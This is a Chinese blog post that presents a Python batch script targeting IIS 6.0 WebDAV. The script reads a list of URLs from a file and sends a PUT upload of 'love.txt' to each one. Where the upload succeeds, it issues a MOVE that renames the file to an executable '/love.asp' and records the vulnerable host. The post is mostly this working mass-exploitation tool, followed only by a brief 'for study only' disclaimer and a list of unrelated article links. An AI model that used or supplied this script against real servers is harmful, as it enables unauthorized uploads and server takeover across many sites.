• IISPUT 批量脚本的编写


    import requests
    import re
    import sys
    
    header = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
    }
    header1 = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
        "Destination":"/love.asp",
        }
    body='whoami'
    def OKtxt(str):
        with open("OKIIS.txt",'a') as b:
            b.write(str)
    def OKurl(url):
        try:
            r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
            print(r.status_code)
            if r.status_code == 200:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                
                print("===========have no IIS6.0 PUT ===========")
            elif r.status_code == 201:
                print("===========        GOOD       ===========")
                print("===========   git it          ===========")
                r=requests.move(url=url+'/love.txt',headers=header1,timeout=10)
                OKtxt(url+"
    ")
            elif r.status_code == 204:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("===========GOOD===========")
            else:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("=========== byby ===========")
        except:
           print("===========badly===========")
    f =open("url.txt",'r')
    i=0
    urllist=f.readlines()
    for url in urllist:
        if len(url)>2:
            OKurl(url)
        else:
            print("========  OVer ========")
            
    
                
    

    此脚本仅仅用于学习参考 切勿用于一切非法用途

     一切后果与本人不管

     且勿违反法律道德,后果自负

  • 相关阅读:
    SQL server 分页方法小结
    在电脑上测试手机网站全攻略
    android批量插入数据效率对比
    表格细边框的两种CSS实现方法
    作为一个非纯粹的优质码农,应该有怎么样的心态?
    C#注册表读写完整操作类
    SQL Server默认1433端口修改方法
    学习编程一年多的体会
    mac上virtualbox创建vm需要注意启动顺序
    git diff patch方法
  • 原文地址:https://www.cnblogs.com/-zhong/p/11737010.html
Copyright © 2020-2023  润新知